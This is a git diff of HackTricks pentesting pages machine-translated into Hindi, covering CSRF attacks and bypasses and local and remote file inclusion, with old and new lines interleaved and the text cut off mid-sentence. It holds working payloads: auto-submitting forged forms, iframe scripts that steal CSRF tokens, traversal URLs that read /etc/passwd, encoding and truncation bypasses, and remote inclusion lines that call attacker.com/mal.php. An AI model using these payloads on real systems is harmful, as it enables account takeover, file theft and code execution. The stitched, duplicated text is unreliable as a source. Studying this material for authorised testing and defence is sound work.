## Cross-Site Request Forgery (CSRF) Explained
## क्रॉस-साइट अनुरोध धोखाधड़ी (CSRF) समझाया गया
**Cross-Site Request Forgery (CSRF)** एक प्रकार की सुरक्षा कमजोरी है जो वेब अनुप्रयोगों में पाई जाती है। यह हमलावरों को अनजान उपयोगकर्ताओं की ओर से कार्य करने की अनुमति देती है, उनके प्रमाणित सत्रों का लाभ उठाकर। यह हमला तब होता है जब एक उपयोगकर्ता, जो किसी पीड़ित के प्लेटफॉर्म में लॉग इन है, एक दुर्भावनापूर्ण साइट पर जाता है। यह साइट फिर पीड़ित के खाते के लिए अनुरोधों को ट्रिगर करती है, जैसे कि जावास्क्रिप्ट को निष्पादित करना, फॉर्म सबमिट करना, या छवियों को लाना।
**क्रॉस-साइट अनुरोध धोखाधड़ी (CSRF)** एक प्रकार की सुरक्षा कमजोरी है जो वेब अनुप्रयोगों में पाई जाती है। यह हमलावरों को अनजान उपयोगकर्ताओं की ओर से कार्य करने की अनुमति देती है, उनके प्रमाणित सत्रों का लाभ उठाकर। यह हमला तब होता है जब एक उपयोगकर्ता, जो क पीड़ित के प्लेटफॉर्म में लॉग इन है, एक दुर्भावनापूर्ण साइट पर जाता है। यह साइट फिर पीड़ित के खाते के लिए अनुरोधों को ट्रिगर करती है, जैसे कि जावास्क्रिप्ट को निष्पादित करना, फॉर्म सबमिट करना, या छवियों को लाना।
### Prerequisites for a CSRF Attack
### CSRF हमले के लिए पूर्वापेक्षाएँ
CSRF कमजोरी का लाभ उठाने के लिए, कई शर्तें पूरी होनी चाहिए:
@ -42,50 +42,50 @@ CSRF कमजोरी का लाभ उठाने के लिए, क
2. **सत्र प्रबंधन**: उपयोगकर्ता का सत्र केवल कुकीज़ या HTTP बेसिक प्रमाणीकरण हेडर के माध्यम से प्रबंधित किया जाना चाहिए, क्योंकि अन्य हेडर का इस उद्देश्य के लिए हेरफेर नहीं किया जा सकता।
3. **अनपेक्षित पैरामीटर का अभाव**: अनुरोध में अनपेक्षित पैरामीटर नहीं होने चाहिए, क्योंकि वे हमले को रोक सकते हैं।
### Quick Check
### त्वरित जांच
आप **Burp में अनुरोध को कैप्चर** कर सकते हैं और CSRF सुरक्षा की जांच कर सकते हैं और ब्राउज़र से परीक्षण करने के लिए आप **Copy as fetch** पर क्लिक कर सकते हैं और अनुरोध की जांच कर सकते हैं:
आप **Burp में अनुरोध कैप्चर** कर सकते हैं और CSRF सुरक्षा की जांच कर सकते हैं और ब्राउज़र से परीक्षण करने के लिए आप **Copy as fetch** पर क्लिक कर सकते हैं और अनुरोध की जांच कर सकते हैं:
<figure><img src="../.gitbook/assets/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Defending Against CSRF
### CSRF के खिलाफ रक्षा
CSRF हमलों से बचाने के लिए कई प्रतिकूल उपाय लागू किए जा सकते हैं:
CSRF हमलों से बचाने के लिए कई प्रतिकृतियाँ लागू की जा सकती हैं:
* [**SameSite कुकीज़**](hacking-with-cookies/#samesite): यह विशेषता ब्राउज़र को क्रॉस-साइट अनुरोधों के साथ कुकीज़ भेजने से रोकती है। [SameSite कुकीज़ के बारे में अधिक जानें](hacking-with-cookies/#samesite)।
* [**क्रॉस-ओरिजिन रिसोर्स शेयरिंग**](cors-bypass.md): पीड़ित साइट की CORS नीति हमले की व्यवहार्यता को प्रभावित कर सकती है, विशेष रूप से यदि हमले को पीड़ित साइट से प्रतिक्रिया पढ़ने की आवश्यकता हो। [CORS बायपास के बारे में जानें](cors-bypass.md)।
* [**क्रॉस-उत्पत्ति संसाधन साझा करना**](cors-bypass.md): पीड़ित साइट की CORS नीति हमले की व्यवहार्यता को प्रभावित कर सकती है, विशेष रूप से यदि हमले को पीड़ित साइट से प्रतिक्रिया पढ़ने की आवश्यकता हो। [CORS बायपास के बारे में जानें](cors-bypass.md)।
* **उपयोगकर्ता सत्यापन**: उपयोगकर्ता का पासवर्ड मांगना या कैप्चा हल करना उपयोगकर्ता की मंशा की पुष्टि कर सकता है।
* **रेफरर या ओरिजिन हेडर की जांच करना**: इन हेडरों को मान्य करना यह सुनिश्चित करने में मदद कर सकता है कि अनुरोध विश्वसनीय स्रोतों से आ रहे हैं। हालाँकि, URLs को सावधानीपूर्वक तैयार करने से खराब तरीके से लागू की गई जांचों को बायपास किया जा सकता है, जैसे:
* **रेफरर या मूल हेडर की जांच करना**: इन हेडरों को मान्य करना यह सुनिश्चित करने में मदद कर सकता है कि अनुरोध विश्वसनीय स्रोतों से आ रहे हैं। हालाँकि, URLs को सावधानीपूर्वक तैयार करने से खराब तरीके से लागू की गई जांचों को बायपास किया जा सकता है, जैसे:
* `http://mal.net?orig=http://example.com` का उपयोग करना (URL विश्वसनीय URL के साथ समाप्त होता है)
* `http://example.com.mal.net` का उपयोग करना (URL विश्वसनीय URL के साथ शुरू होता है)
* **पैरामीटर नामों में परिवर्तन**: POST या GET अनुरोधों में पैरामीटर के नामों को बदलना स्वचालित हमलों को रोकने में मदद कर सकता है।
* **CSRF टोकन**: प्रत्येक सत्र में एक अद्वितीय CSRF टोकन को शामिल करना और इस टोकन की आवश्यकता को अगले अनुरोधों में रखना CSRF के जोखिम को काफी कम कर सकता है। टोकन की प्रभावशीलता को CORS को लागू करके बढ़ाया जा सकता है।
* **पैरामीटर नामों में संशोधन**: POST या GET अनुरोधों में पैरामीटर के नामों को बदलना स्वचालित हमलों को रोकने में मदद कर सकता है।
* **CSRF टोकन**: प्रत्येक सत्र में एक अद्वितीय CSRF टोकन को शामिल करना और इस टोकन की आवश्यकता करना अगले अनुरोधों में CSRF के जोखिम को काफी कम कर सकता है। टोकन की प्रभावशीलता को CORS को लागू करके बढ़ाया जा सकता है।
इन सुरक्षा उपायों को समझना और लागू करना वेब अनुप्रयोगों की सुरक्षा और अखंडता बनाए रखने के लिए महत्वपूर्ण है।
इन रक्षा उपायों को समझना और लागू करना वेब अनुप्रयोगों की सुरक्षा और अखंडता बनाए रखने के लिए महत्वपूर्ण है।
## Defences Bypass
## रक्षा बायपास
### From POST to GET
### POST से GET
शायद जिस फॉर्म का आप दुरुपयोग करना चाहते हैं वह **CSRF टोकन के साथ POST अनुरोध भेजने के लिए तैयार है**, लेकिन आपको **जांचना चाहिए** कि क्या एक **GET** भी **मान्य** है और यदि जब आप GET अनुरोध भेजते हैं तो **CSRF टोकन अभी भी मान्य है**
### Lack of token
### टोकन की कमी
अनुप्रयोग एक तंत्र को लागू कर सकते हैं ताकि **टोकन की वैधता** की जांच की जा सके जब वे मौजूद हों। हालाँकि, एक कमजोरी तब उत्पन्न होती है जब टोकन के अनुपस्थित होने पर मान्यता पूरी तरह से छोड़ दी जाती है। हमलावर इस पर **टोकन ले जाने वाले पैरामीटर को हटा कर** लाभ उठा सकते हैं, न कि केवल इसके मान को। इससे उन्हें मान्यता प्रक्रिया को बायपास करने और प्रभावी रूप से एक क्रॉस-साइट अनुरोध धोखाधड़ी (CSRF) हमला करने की अनुमति मिलती है।
अनुप्रयोग एक तंत्र लागू कर सकते हैं **टोकनों को मान्य करने के लिए** जब वे मौजूद होते हैं। हालाँकि, एक कमजोरी तब उत्पन्न होती है जब टोकन के अनुपस्थित होने पर मान्यता पूरी तरह से छोड़ दी जाती है। हमलावर इस पर **टोकन ले जाने वाले पैरामीटर को हटा कर** इसका लाभ उठा सकते हैं, न कि केवल इसके मान को। इससे उन्हें मान्यता प्रक्रिया को बायपास करने और प्रभावी रूप से क्रॉस-साइट अनुरोध धोखाधड़ी (CSRF) हमले को अंजाम देने की अनुमति मिलती है।
### CSRF token is not tied to the user session
### CSRF टोकन उपयोगकर्ता सत्र से बंधा नहीं है
अनुप्रयोग **CSRF टोकनों को उपयोगकर्ता सत्रों से नहीं जोड़ने** पर एक महत्वपूर्ण **सुरक्षा जोखिम** प्रस्तुत करते हैं। ये सिस्टम टोकनों को एक **वैश्विक पूल** के खिलाफ मान्य करते हैं, बजाय इसके कि प्रत्येक टोकन को आरंभिक सत्र से बंधा हुआ सुनिश्चित किया जाए
अनुप्रयोग **CSRF टोकनों को उपयोगकर्ता सत्रों से नहीं बांधने** पर एक महत्वपूर्ण **सुरक्षा जोखिम** प्रस्तुत करते हैं। ये सिस्टम टोकनों को एक **वैश्विक पूल** के खिलाफ मान्य करते हैं, बजाय इसके कि प्रत्येक टोकन को आरंभिक सत्र से बंधा ह
हमलावर इस तरह से लाभ उठाते हैं:
हमलावर इस तरह से इसका लाभ उठाते हैं:
1. **अपने खाते का उपयोग करके प्रमाणीकरण करें**
2. **वैध CSRF टोकन प्राप्त करें** वैश्विक पूल से।
3. **इस टोकन का उपयोग करें** एक CSRF हमले में पीड़ित के खिलाफ।
3. **इस टोकन का उपयोग करें** एक पीड़ित के खिलाफ CSRF हमले में
यह कमजोरी हमलावरों को पीड़ित की ओर से अनधिकृत अनुरोध करने की अनुमति देती है, अनुप्रयोग क **अपर्याप्त टोकन मान्यता तंत्र** का लाभ उठाते हुए।
यह कमजोरी हमलावरों को पीड़ित की ओर से अनधिकृत अनुरोध करने की अनुमति देती है, अनुप्रयोग क **अपर्याप्त टोकन मान्यता तंत्र** का लाभ उठाते हुए।
### Method bypass
### विधि बायपास
यदि अनुरोध एक "**अजीब**" **विधि** का उपयोग कर रहा है, तो जांचें कि क्या **विधि** **ओवरराइड कार्यक्षमता** काम कर रही है। उदाहरण के लिए, यदि यह **PUT** विधि का उपयोग कर रहा है, तो आप **POST** विधि का उपयोग करने का प्रयास कर सकते हैं और **भेजें**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
@ -95,18 +95,18 @@ CSRF हमलों से बचाने के लिए कई प्रत
* _X-HTTP-Method-Override_
* _X-Method-Override_
### Custom header token bypass
### कस्टम हेडर टोकन बायपास
यदि अनुरोध एक **कस्टम हेडर** के साथ एक **टोकन** जोड़ रहा है जिसे **CSRF सुरक्षा विधि** के रूप में उपयोग किया जा रहा है, तो:
* **कस्टमाइज्ड टोकन और हेडर के बिना अनुरोध का परीक्षण करें।**
* **सटीक समान लंबाई लेकिन अलग टोकन के साथ अनुरोध का परीक्षण करें।**
* **सटीक समान लंबाई लेकिन अलग टोकन** के साथ अनुरोध का परीक्षण करें।
### CSRF token is verified by a cookie
### CSRF टोकन एक कुकी द्वारा मान्य किया गया है
अनुप्रयोग CSRF सुरक्षा को टोकन को कुकी और अनुरोध पैरामीटर दोनों में डुप्लिकेट करके या एक CSRF कुकी सेट करके और यह सत्यापित करके लागू कर सकते हैं कि बैकएंड में भेजा गया टोकन कुकी के अनुरूप है। अनुप्रयोग अनुरोधों को मान्य करता है यह जांचकर कि क्या अनुरोध पैरामीटर में टोकन कुकी में मान के साथ मेल खाता है।
अनुप्रयोग CSRF सुरक्षा को टोकन को एक कुकी और एक अनुरोध पैरामीटर में दोहराकर या एक CSRF कुकी सेट करके और यह सत्यापित करके लागू कर सकते हैं कि बैकएंड में भेजा गया टोकन कुकी के अनुरूप है। अनुप्रयोग अनुरोधों को मान्य करता है यह जांचकर कि क्या अनुरोध पैरामीटर में टोकन कुकी में मान के साथ मेल खाता है।
हालांकि, यदि वेबसाइट में ऐसे दोष हैं जो हमलावर को पीड़ित के ब्राउज़र में CSRF कुकी सेट करने की अनुमति देत हैं, जैसे कि CRLF कमजोरी, तो यह विधि CSRF हमलों के प्रति संवेदनशील है। हमलावर इस पर लाभ उठा सकते हैं एक धोखाधड़ी छवि लोड करके जो कुकी सेट करती है, इसके बाद CSRF हमले को शुरू करती है।
हालांकि, यदि वेबसाइट में ऐसी खामियाँ हैं जो हमलावर को पीड़ित के ब्राउज़र में CSRF कुकी सेट करने की अनुमति देत हैं, जैसे कि CRLF कमजोरी, तो यह विधि CSRF हमलों के प्रति संवेदनशील है। हमलावर इसका लाभ उठाकर एक धोखाधड़ी छवि लोड कर सकता है जो कुकी सेट करती है, इसके बाद CSRF हमले को शुरू कर सकता है।
नीचे एक उदाहरण है कि एक हमला कैसे संरचित किया जा सकता है:
```html
@ -136,7 +136,7 @@ CSRF हमलों से बचाने के लिए कई प्रत
* **`multipart/form-data`**
* **`text/plain`**
हालांकि, ध्यान दें कि **सर्वर की लॉजिक भिन्न हो सकती है** जो **Content-Type** के उपयोग पर निर्भर करती है, इसलिए आपको उल्लेखित मानों और अन्य जैसे **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ को आजमाना चाहिए।
हालांकि, ध्यान दें कि **सर्वर की लॉजिक भिन्न हो सकती है** उपयोग किए गए **Content-Type** के आधार पर, इसलिए आपको उल्लेखित मानों और अन्य जैसे **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ का प्रयास करना चाहिए।
उदाहरण ( [यहां](https://brycec.me/posts/corctf\_2021\_challenges) से) JSON डेटा को text/plain के रूप में भेजने का:
```html
@ -204,7 +204,7 @@ document.forms[0].submit();
### **CSRF टोकन निकालना**
यदि **CSRF टोकन** को **रक्षा** के रूप में उपयोग किया जा रहा है, तो आप **इसे निकालने** के लिए [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) भेद्यता या [**Dangling Markup**](dangling-markup-html-scriptless-injection/) भेद्यता का दुरुपयोग करने की कोशिश कर सकते हैं।
यदि एक **CSRF टोकन** को **रक्षा** के रूप में उपयोग किया जा रहा है, तो आप ए [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) भेद्यता या [**Dangling Markup**](dangling-markup-html-scriptless-injection/) भेद्यता का दुरुपयोग करके इसे **निकालने** की कोशिश कर सकते हैं।
### **HTML टैग का उपयोग करके GET**
```xml
@ -428,7 +428,7 @@ document.getElementById("form1").submit();
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
```
### **CSRF टोकन चुराएं और एक iframe और एक फॉर्म का उपयोग करके POST अनुरोध भेजें**
### **CSRF टोकन चुराएं और iframe और एक फॉर्म का उपयोग करके एक POST अनुरोध भेजें**
```html
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
@ -584,12 +584,12 @@ login(USER, line.strip())
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों!
**Hacking Insights**\
हैकिंग की रोमांचक और चुनौतियों में गहराई से जाने वाली सामग्री के साथ जुड़ें
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाले सामग्री के साथ जुड़ें
**Real-Time Hack News**\
तेज-तर्रार हैकिंग दुनिया के साथ वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से अद्यतित रहें
@ -597,19 +597,19 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
**Latest Announcements**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking सीखें और अभ्यास करें:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking सीखें और अभ्यास करें: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) की जांच करें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -9,13 +9,13 @@
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हमसे जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* हैकिंग ट्रिक्स साझा करें [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके।
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों ताकि अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
@ -28,7 +28,7 @@
**नवीनतम घोषणाएँ**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
**आज ही** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमारे साथ शामिल हों और शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
**हमसे जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
## फ़ाइल समावेश
@ -54,7 +54,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
`/` को `\` में बदलने की कोशिश करें\
`../../../../../` जोड़ने की भी कोशिश करें
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /etc/password (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, [यहा](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) मिल सकती है
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /etc/password (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, [यहा](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) मिल सकती है
### **Windows**
@ -65,7 +65,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
`/` को `\` में बदलने की कोशिश करें\
`C:/` को हटाने और `../../../../../` जोड़ने की भी कोशिश करें
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /boot.ini (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, [यहा](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) मिल सकती है
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /boot.ini (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, [यहा](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) मिल सकती है
### **OS X**
@ -73,7 +73,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
## Basic LFI and bypasses
सभी उदाहरण स्थानीय फ़ाइल समावेश के लिए हैं लेकिन इन्हें दूरस्थ फ़ाइल समावेश पर भी लागू किया जा सकता है (पृष्ठ=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/)।
सभी उदाहरण स्थानीय फ़ाइल समावेश के लिए हैं लेकिन इसे दूरस्थ फ़ाइल समावेश पर भी लागू किया जा सकता है (पृष्ठ=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/)।
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -93,7 +93,7 @@ http://example.com/index.php?page=../../../etc/passwd%00
### **कोडिंग**
आप डबल URL एन्कोडिंग (और अन्य) जैसी गैर-मानक एन्कोडिंग का उपयोग कर सकते हैं:
आप डबल URL एन्कोड (और अन्य) जैसे गैर-मानक एन्कोडिंग का उपयोग कर सकते हैं:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -108,9 +108,9 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Exploring File System Directories on a Server
एक सर्वर के फ़ाइल सिस्टम को पुनरावृत्त रूप से खोजा जा सकता है ताकि निर्देशिकाओं की पहचान की जा सके, न कि केवल फ़ाइलों की, कुछ तकनीकों का उपयोग करके। इस प्रक्रिया में निर्देशिका की गहराई निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व के लिए जांच करना शामिल है। इसे प्राप्त करने के लिए एक विस्तृत विधि नीचे दी गई है:
एक सर्वर की फ़ाइल प्रणाली को पुनरावृत्त रूप से खोजा जा सकता है ताकि निर्देशिकाओं की पहचान की जा सके, न कि केवल फ़ाइलों की, कुछ तकनीकों का उपयोग करके। इस प्रक्रिया में निर्देशिका की गहराई निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व के लिए जांच करना शामिल है। इसे प्राप्त करने के लिए एक विस्तृत विधि नीचे दी गई है:
1. **Determine Directory Depth:** अपने वर्तमान निर्देशिका की गहराई का निर्धारण करें `/etc/passwd` फ़ाइल को सफलतापूर्वक लाकर (यदि सर्वर Linux-आधारित है)। एक उदाहरण URL इस प्रकार संरचित हो सकता है, जो तीन की गहराई को इंगित करता है:
1. **Determine Directory Depth:** अपने वर्तमान निर्देशिका की गहराई का निर्धारण करें `/etc/passwd` फ़ाइल को सफलतापूर्वक लाकर (यदि सर्वर लिनक्स-आधारित है)। एक उदाहरण URL इस प्रकार संरचित हो सकता है, जो तीन की गहराई को इंगित करता है:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
@ -121,9 +121,9 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
3. **परिणामों की व्याख्या करें:** सर्वर की प्रतिक्रिया यह संकेत करती है कि फ़ोल्डर मौजूद है या नहीं:
* **त्रुटि / कोई आउटपुट नहीं:** फ़ोल्डर `private` संभवतः निर्दिष्ट स्थान पर मौजूद नहीं है।
* **`/etc/passwd` की सामग्री:** `private` फ़ोल्डर की उपस्थिति की पुष्टि होती है।
4. **पुनरावृत्त अन्वेषण:** खोजे गए फ़ोल्डरों को उपनिर्देशिकाओं या फ़ाइलों के लिए आगे जांचा जा सकता है, उसी तकनीक या पारंपरिक लोकल फ़ाइल समावेशन (LFI) विधियों का उपयोग करके।
4. **पुनरावृत्त अन्वेषण:** खोजे गए फ़ोल्डरों को उपनिर्देशिकाओं या फ़ाइलों के लिए उसी तकनीक या पारंपरिक स्थानीय फ़ाइल समावेशन (LFI) विधियों का उपयोग करके आगे जांचा जा सकता है
फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, पेलोड को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि क्या `/var/www/` में एक `private` निर्देशिका है (मानते हुए कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:
फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, पेलोड को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि क्या `/var/www/` में एक `private` निर्देशिका है (मान लेते हैं कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
@ -137,7 +137,7 @@ PHP में, फ़ाइल पथ के विभिन्न प्रत
* जब अंतिम 6 वर्ण `passwd` होते हैं, तो `/` जोड़ने (जिससे यह `passwd/` बनता है) से लक्षित फ़ाइल नहीं बदलती है।
* इसी तरह, यदि `.php` को फ़ाइल पथ में जोड़ा जाता है (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से पहुँचाई जा रही फ़ाइल में कोई परिवर्तन नहीं होगा।
प्रदान किए गए उदाहरण यह दर्शाते हैं कि `/etc/passwd` तक पहुँचने के लिए पथ ट्रंकशन का उपयोग कैसे किया जाए, जो इसके संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
प्रदान किए गए उदाहरण यह दर्शाते हैं कि कैसे पथ ट्रंकशन का उपयोग `/etc/passwd` तक पहुँचने के लिए किया जा सकता है, जो इसके संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -150,10 +150,10 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
इन परिदृश्यों में, आवश्यक ट्रैवर्सल की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर भिन्न हो सकती है।
* **डॉट सेगमेंट और अतिरिक्त वर्णों का उपयोग करना**: ट्रैवर्सल अनुक्रम (`../`) को अतिरिक्त डॉट सेगमेंट और वर्णों के साथ मिलाकर फ़ाइल सिस्टम में नेविगेट करने के लिए उपयोग किया जा सकता है, प्रभावी रूप से सर्वर द्वारा जोड़े गए स्ट्रिंग्स की अनदेखी करते हुए।
* **आवश्यक ट्रैवर्सल की संख्या निर्धारित करना**: प्रयास और त्रुटि के माध्यम से, कोई भी `../` अनुक्रमों की सटीक संख्या खोज सकता है जो रूट निर्देशिका में नेविगेट करने और फिर `/etc/passwd` तक पहुँचने के लिए आवश्यक है, यह सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे `.php`) निष्क्रिय हो जाएं लेकिन वांछित पथ (`/etc/passwd`) बरकरार रहे।
* **आवश्यक ट्रैवर्सल की संख्या निर्धारित करना**: प्रयास और त्रुटि के माध्यम से, कोई भी `../` अनुक्रमों की सटीक संख्या खोज सकता है जो रूट निर्देशिका में नेविगेट करने और फिर `/etc/passwd` तक पहुँचने के लिए आवश्यक है, यह सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे `.php`) निष्क्रिय हो जाएं लेकिन इच्छित पथ (`/etc/passwd`) बरकरार रहे।
* **एक नकली निर्देशिका से शुरू करना**: पथ को एक गैर-मौजूद निर्देशिका (जैसे `a/`) से शुरू करना एक सामान्य प्रथा है। इस तकनीक का उपयोग एक एहतियाती उपाय के रूप में या सर्वर के पथ पार्सिंग लॉजिक की आवश्यकताओं को पूरा करने के लिए किया जाता है।
पथ ट्रंकेशन तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल सिस्टम संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य के लिए एक अलग दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए परीक्षण अक्सर आवश्यक होता है।
पथ ट्रंकेशन तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल सिस्टम संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य के लिए एक अलग दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए परीक्षण अक्सर आवश्यक होता है।
**यह भेद्यता PHP 5.3 में ठीक की गई थी।**
@ -172,7 +172,7 @@ php में यह डिफ़ॉल्ट रूप से बंद है
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपृष्ठों तक पहुँच को **filtering** कर रहा है, [इस पोस्ट के अनुसार](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें base64 का उपयोग करके b64 PHP कोड को डिकोड किया जा सके और RCE प्राप्त किया जा सके:
